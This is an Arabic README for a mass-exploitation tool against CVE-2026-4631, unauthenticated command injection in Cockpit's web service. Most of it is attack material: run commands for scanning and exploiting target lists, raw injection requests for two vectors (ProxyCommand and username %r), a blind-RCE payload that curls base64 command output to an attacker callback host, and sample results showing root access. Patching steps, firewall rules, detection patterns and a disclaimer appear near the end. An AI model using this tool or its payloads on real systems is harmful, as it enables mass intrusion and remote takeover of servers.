تنفيذ التعليمات البرمجية عن بُعد غير مصادق عليه عبر حقن وسيط سطر أوامر SSH Cockpit الإصدارات 327 – 359 | CVSS 9.8 Critical | CWE-78
تنفيذ أوامر عن بُعد غير مصدق عبر حقن وسيط سطر أوامر SSH إصدارات Cockpit 327 – 359 | CVSS 9.8 حرج | CWE-78
أداة استغلال جماعي لـ CVE-2026-4631 على خدمة الويب Cockpit (cockpit-ws، المنفذ 9090). تدعم وضع فحص الثغرات، وضع RCE مع التقاط مخرجات الأوامر عبر مستمع رد اتصال HTTP مدمج، وضع --auto (فحص واستغلال دفعة واحدة مع الأمر الافتراضي id)، إضافة المنفذ :9090 تلقائيًا للأهداف بدون منفذ، كلا متجهي الهجوم (ProxyCommand + حقن اسم المستخدم %r)، أهداف جماعية من ملف، معالجة متزامنة، ومخرجات نتائج منظمة.
المؤلف: 0xNuts
git clone https://github.com/ExDev994/CVE-2026-4631-cockpit-RCE.git
cd CVE-2026-4631-cockpit-RCE
pip install -r requirements.txt
حرر targets.txt — مضيف واحد لكل سطر. سيتم إضافة المنفذ :9090 تلقائيًا إذا لم يكن موجودًا:
192.168.1.10
cockpit.example.com
https://manage.lab.local
# فحص + استغلال دفعة واحدة، الأمر الافتراضي "id"
python3 exploit.py -f targets.txt --auto --callback-ip <IP_ATTACKER>
# مثال على الإخراج في results.txt:
# example.com:9090 [ uid=0(root) gid=0(root) groups=0(root) ]
# فحص الثغرات فقط (بدون استغلال)
python3 exploit.py -f targets.txt --scan -o scan_results.txt
# RCE صريح بأمر مخصص
python3 exploit.py -f targets.txt -c "whoami" --callback-ip <IP_ATTACKER>
# هدف واحد
python3 exploit.py -t cockpit.example.com --auto --callback-ip <IP_ATTACKER>
CVE-2026-4631 هو RCE أعمى — لا تعود مخرجات الأوامر في استجابة HTTP. تستخدم الأداة مستمع HTTP مدمج (المنفذ الافتراضي 8888) لالتقاط المخرجات. تأكد من:
--callback-ip هو عنوان IP يمكن للهدف الوصول إليه (ليس 127.0.0.1)8888 (أو --listener-port المخصص)# Debian / Ubuntu
sudo apt update && sudo apt install cockpit-ws
# RHEL / Fedora / CentOS
sudo dnf update cockpit-ws
# التحقق من الإصدار (يجب أن يكون >= 360)
dpkg -l cockpit-ws | awk 'NR==5{print $3}' # Debian
rpm -q cockpit-ws # RHEL
حرر /etc/cockpit/cockpit.conf:
[WebService]
LoginTo = false
أعد تشغيل الخدمة:
sudo systemctl restart cockpit
اقتصر المنفذ 9090 على شبكة الإدارة فقط:
sudo iptables -A INPUT -p tcp --dport 9090 -s 10.0.0.0/8 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 9090 -j DROP
يخفف من Vector 1 (حقن ProxyCommand) عبر التحقق المبكر من اسم المضيف:
ssh -V # يجب أن يكون OpenSSH_9.6 أو أحدث
إذا لم تتمكن من الترقية إلى 360، طبق التصحيح:
-- في beiboot.py وcockpitauth.c-- في session.pyتفاصيل التصحيح: انظر docs/PATCH_ANALYSIS.md
| الحقل | التفاصيل |
|---|---|
| CVE ID | CVE-2026-4631 |
| GHSA | GHSA-m4gv-x78h-3427 |
| الخطورة | حرج (CVSS 9.8) |
| CWE | CWE-78 — حقن أوامر نظام التشغيل |
| المتأثر | Cockpit 327 – 359 |
| تم الإصلاح في | Cockpit 360+ |
| المصادقة المطلوبة | لا (قبل المصادقة) |
| المبلغ | Jelle van der Waa |
| الخدمة | cockpit-ws، المنفذ الافتراضي 9090 |
استبدل Cockpit v327 cockpit-ssh (libssh) بـ python3 -m cockpit.beiboot الذي يستدعي عميل ssh الخاص بـ OpenSSH. يتم تمرير المدخلات التي يتحكم فيها المستخدم — اسم المضيف من مسار URL واسم المستخدم من رأس Authorization: Basic — إلى أداة ssh بدون تعقيم وبدون فاصل -- لنهاية الخيارات. يحدث الحقن قبل التحقق من بيانات الاعتماد، لذلك لا حاجة لتسجيل دخول صالح.
يتم حقن اسم المضيف من مسار URL مع خيار SSH -oProxyCommand=<cmd>.
GET /cockpit+=-oProxyCommand=<URL_ENCODED_PAYLOAD>/login HTTP/1.1
Host: target:9090
Authorization: Basic base64("x:x")
يقوم SSH بتحليل -oProxyCommand=<cmd> كخيار، وينفذ <cmd> كأمر ProxyCommand. يعمل الأمر كعملية مستخدم cockpit-ws.
المتطلبات: OpenSSH < 9.6 على الهدف. OpenSSH 9.6+ لديه تحقق مبكر من اسم المضيف يمنع الأحرف الخاصة.
%r (الثانوي)يتم حقن اسم المستخدم من رأس Authorization: Basic مع أمر شل.
GET /cockpit+=legit-host/login HTTP/1.1
Host: target:9090
Authorization: Basic base64("x; <CMD>; #:x")
يقوم SSH بتوسيع %r باسم المستخدم في توجيه Match exec → تنفيذ الأوامر المحقونة في شل.
المتطلبات: يحتوي ملف ssh_config على الهدف على توجيه Match exec مع رمز %r.
LoginTo) غير معطلةssh_config مع Match exec %r# استنساخ من GitHub
git clone https://github.com/ExDev994/CVE-2026-4631-cockpit-RCE.git
cd CVE-2026-4631-cockpit-RCE
# تثبيت التبعيات
pip install -r requirements.txt
# التحقق
python3 exploit.py --help
requests>=2.31 — عميل HTTP لطلب الاستغلالcolorama>=0.4 — مخرجات طرفية ملونةلا توجد تبعيات إضافية للمستمع (يستخدم stdlib http.server + threading).
usage: exploit.py [-h] [-t TARGET] [-f FILE] [--default-port PORT]
[-c CMD] [--scan] [--auto] [--vector {auto,proxycommand,username}]
[-o OUTPUT] [--callback-ip CALLBACK_IP] [--listener-port LISTENER_PORT]
[--threads THREADS] [--timeout TIMEOUT] [--delay DELAY] [--proxy PROXY]
[--user-agent UA] [-v] [--no-color]
CVE-2026-4631 Cockpit Mass Exploit — Unauthenticated RCE via SSH Argument Injection
optional arguments:
-h, --help show this help message and exit
-t, --target single target URL/host (يتم إضافة المنفذ تلقائيًا إذا لم يكن موجودًا)
-f, --file file containing list of targets (واحد لكل سطر)
--default-port المنفذ الذي يتم إضافته إذا كان الهدف بدون منفذ (الافتراضي: 9090)
-c, --cmd الأمر المراد تنفيذه (الافتراضي: "id" في وضع --auto / RCE)
--scan وضع فحص الثغرات (بدون RCE، استكشاف نقطة النهاية فقط)
--auto فحص + استغلال دفعة واحدة، الأمر الافتراضي "id"
--vector متجه الاستغلال: auto|proxycommand|username (الافتراضي: auto)
-o, --output ملف مخرجات النتائج (الافتراضي: results.txt)
--callback-ip عنوان IP المهاجم الذي يمكن للهدف الوصول إليه (لمستمع رد الاتصال)
--listener-port منفذ مستمع رد الاتصال (الافتراضي: 8888)
--threads العمال المتزامنون (الافتراضي: 10)
--timeout عدد الثواني لانتظار رد الاتصال لكل هدف (الافتراضي: 10)
--delay التأخير بين الطلبات بالثواني (الافتراضي: 0)
--proxy وكيل HTTP لتصحيح الأخطاء (مثل http://127.0.0.1:8080)
--user-agent سلسلة User-Agent مخصصة
-v, --verbose مخرجات مفصلة (تصحيح)
--no-color تعطيل المخرجات الملونة
--scan)استكشاف نقطة النهاية /cockpit+=probe-host/login بدون استغلال. يكشف:
لا يرسل حمولات ضارة، ولا يحتاج إلى مستمع رد اتصال.
-c "cmd")تنفيذ أمر على الهدف، التقاط المخرجات عبر رد الاتصال:
curl إلى المستمع-c، الأمر الافتراضي = id--auto) — موصى بهفحص + استغلال في تمريرة واحدة، الأمر الافتراضي id:
id (أو تجاوز -c)host [ uid=0(root) ... ]--vector auto)جرب المتجه 1 (ProxyCommand) أولاً. إذا أظهرت الاستجابة أن OpenSSH >= 9.6 (خطأ في التحقق من اسم المضيف)، تراجع إلى المتجه 2 (اسم المستخدم %r).
يتم إضافة المنفذ :9090 تلقائيًا لكل إدخال في targets.txt بدون منفذ:
host → http://host:9090
host:9090 → http://host:9090
https://host → https://host:9090
192.168.1.10 → http://192.168.1.10:9090
[::1] → http://[::1]:9090
# هدف بدون منفذ → تلقائي :9090، الأمر الافتراضي "id"
python3 exploit.py -f targets.txt --auto --callback-ip 10.10.10.10
# تجاوز الأمر
python3 exploit.py -f targets.txt --auto -c "whoami" --callback-ip 10.10.10.10
مخرجات results.txt:
# CVE-2026-4631 mass exploit results — 2026-07-12 00:42
# الوضع: auto
# الأمر: id
# المتجه: auto
example.com:9090 [ uid=0(root) gid=0(root) groups=0(root) ]
10.0.0.5:9090 [ uid=0(root) gid=0(root) groups=0(root) ]
host3.example.com:9090 [ VULN - no callback received (OpenSSH >= 9.6?) ]
host4.example.com:9090 [ NOT VULN ]
python3 exploit.py -f targets.txt --scan -o scan_results.txt
مخرجات scan_results.txt:
target1.example.com:9090 [ VULN - Cockpit login flow active (HTTP 401) ]
target2.example.com:9090 [ NOT VULN ]
target3.example.com:9090 [ UNREACHABLE (ConnectionError) ]
python3 exploit.py -t target -c "id" --callback-ip 10.10.10.10
# مكافئ: -t http://target:9090/
مخرجات:
target:9090 [ uid=0(root) gid=0(root) groups=0(root) ]
python3 exploit.py -f targets.txt -c "id" -o results.txt --callback-ip 10.10.10.10 --threads 20
# فرض المتجه 1 ProxyCommand
python3 exploit.py -f targets.txt -c "cat /etc/passwd" --vector proxycommand
# فرض المتجه 2 اسم المستخدم %r
python3 exploit.py -f targets.txt -c "whoami" --vector username
python3 exploit.py -f targets.txt -c "id" \
--callback-ip 10.10.10.10 \
--listener-port 9999 \
--threads 50 \
--timeout 15 \
--delay 0.2
python3 exploit.py -t http://target:9090/ -c "id" --proxy http://127.0.0.1:8080 -v
تنسيق ملف النتيجة لكل سطر هدف:
<host> [ <status_or_output> ]
| الحالة | المعنى |
|---|---|
uid=0(root) ... | نجاح RCE، تم التقاط مخرجات الأمر |
VULN - no callback received (OpenSSH >= 9.6?) | الهدف معرض لكن المتجه 1 محظور بواسطة OpenSSH 9.6+، جرب المتجه 2 |
VULN - endpoint active | وضع الفحص، تم اكتشاف نقطة نهاية معرضة |
NOT VULN | Cockpit >= 360 أو نقطة النهاية غير موجودة |
UNREACHABLE | فشل الاتصال / انتهاء مهلة الاتصال |
ERROR: <msg> | استثناء أثناء التنفيذ |
يسجل رأس ملف النتيجة الطابع الزمني، الأمر، المتجه، وعدد الأهداف.
flowchart TD
CLI["exploit.py<br/>argparse CLI + banner"] --> Parser["core/target.py<br/>تحليل الأهداف وتسويتها"]
CLI --> Engine["core/engine.py<br/>المنسق"]
Engine --> Listener["core/listener.py<br/>خادم رد اتصال HTTP في خيط"]
Engine --> Pool["ThreadPoolExecutor<br/>عمال متزامنون"]
Pool --> Scanner["core/scanner.py<br/>استكشاف الثغرات"]
Pool --> Exploit["core/exploit.py<br/>مولد الحمولة"]
Scanner --> Req1["requests GET<br/>/cockpit+=test/login"]
Exploit --> Req2["requests GET<br/>/cockpit+=-oProxyCommand=PAYLOAD/login"]
Req2 --> Target["هدف Cockpit :9090"]
Target -->|"RCE أعمى<br/>رد اتصال curl"| Listener
Listener --> Shared["قاموس مشترك<br/>REQID -> مخرجات"]
Engine --> Result["utils/result.py<br/>كتابة results.txt"]
Shared --> Engine-f / عنوان -t، التسوية (إضافة http://، المنفذ الافتراضي 9090)، إزالة التكرار--scan، استكشاف نقطة النهاية، بصمة Cockpit، استنتاج الثغرةrequestsThreadingHTTPServer في --callback-ip:--listener-port، تحليل ?id=REQID&out=BASE64، تخزين في قاموس مشتركhost [ output ]CVE-2026-4631-cockpit-RCE/
├── exploit.py # نقطة الدخول CLI
├── requirements.txt # التبعيات
├── README.md # هذه الوثائق
├── targets.txt # مثال لقائمة الأهداف
├── results.txt # المخرجات (مولدة)
├── core/
│ ├── __init__.py
│ ├── target.py # محلل الأهداف
│ ├── scanner.py # وضع فحص الثغرات
│ ├── exploit.py # مولد الحمولة + المرسل
│ ├── listener.py # خادم رد اتصال HTTP
│ └── engine.py # المنسق
├── utils/
│ ├── __init__.py
│ ├── banner.py # لافتة ASCII
│ └── result.py # كاتب النتائج
└── docs/
├── VULN_ANALYSIS.md # تحليل متعمق للثغرة
├── PATCH_ANALYSIS.md # تحليل تصحيح الالتزام
└── DETECTION.md # توقيع الكشف
CVE-2026-4631 هو RCE أعمى — لا تعود مخرجات الأوامر في استجابة HTTP. تتغلب الأداة على ذلك باستخدام مستمع رد اتصال HTTP مدمج:
--callback-ip:--listener-portbash -c 'curl -s http://CALLBACK_IP:PORT/cb?id=REQID --data "$(CMD | base64 -w0)"'
GET /cockpit+=-oProxyCommand=<URL_ENC_PAYLOAD>/login
Authorization: Basic base64("x:x")
requests.get، verify=False للشهادات ذاتية التوقيعresults[REQID] حتى --timeouthost [ decoded_output ] إلى ملف المخرجاتإذا انتهت المهلة دون رد اتصال، تحقق من خطأ SSH في الاستجابة:
VULN - no callback (OpenSSH >= 9.6?)UNREACHABLENOT VULNThreadPoolExecutor(max_workers=--threads) موازٍ لكل هدفdict[REQID] -> target_host مشترك + dict[REQID] -> output مع threading.LockThreadingHTTPServer يعالج ردود الاتصال المتزامنةtry/except لكل هدف: خطأ اتصال، خطأ SSL، انتهاء مهلةGET /cockpit+=-o[A-Za-z]+=.*/login
GET /cockpit+=-[A-Za-z].*/login
راقب:
-oProxyCommand= في مسار URL;) في قيمة Authorization: Basic المفكوكةjournalctl -u cockpit-ws | grep -E "beiboot|ProxyCommand|-oProxy"
journalctl _COMM=ssh | grep -v "^--$"
/etc/cockpit/cockpit.conf:
[WebService]
LoginTo = false
iptables -A INPUT -p tcp --dport 9090 -s 10.0.0.0/8 -j ACCEPT
iptables -A INPUT -p tcp --dport 9090 -j DROP
dpkg -l cockpit-ws | awk 'NR==5{print $3}' # Debian/Ubuntu
rpm -q cockpit-ws # RHEL/Fedora
# معرض: 327 <= الإصدار <= 359
صممت هذه الأداة لـ اختبار الاختراق المصرح به، والبحث الأمني، والتحقق من الثغرات على الأنظمة التي تمتلكها أو لديك إذن كتابي لاختبارها.
استخدام هذه الأداة على أنظمة دون إذن صريح من المالك غير قانوني وقد يعرضك لعقوبات جنائية وفقًا للقوانين المعمول بها (في إندونيسيا: قانون ITE المواد 30-33).
المؤلف غير مسؤول عن سوء استخدام هذه الأداة. استخدمها بأخلاق ومسؤولية.
حالات الاستخدام المصرح بها:
| المصدر | الرابط |
|---|---|
| إشعار GitHub | https://github.com/cockpit-project/cockpit/security/advisories/GHSA-m4gv-x78h-3427 |
| إفصاح OSS-Security | https://www.openwall.com/lists/oss-security/2026/04/10/5 |
| Red Hat Bugzilla | https://bugzilla.redhat.com/show_bug.cgi?id=2450246 |
| إدخال NVD | https://nvd.nist.gov/vuln/detail/cve-2026-4631 |
| تصحيح الالتزام (cockpit) | https://github.com/cockpit-project/cockpit/commit/9d0695647 |
| تصحيح الالتزام (ferny) | https://github.com/allisonkarlitskaya/ferny/commit/44ec511c99 |
| خطأ CPython argparse | https://github.com/python/cpython/issues/66623 |
| التحقق من اسم المضيف OpenSSH 9.6 | https://github.com/openssh/openssh-portable/commit/7ef3787 |
| PoC مرجعي | https://github.com/cyberheartmi9/CVE-2026-4631-cockpit-RCE |
لأغراض البحث والاختبار المصرح به. ليس للتوزيع التجاري دون إذن.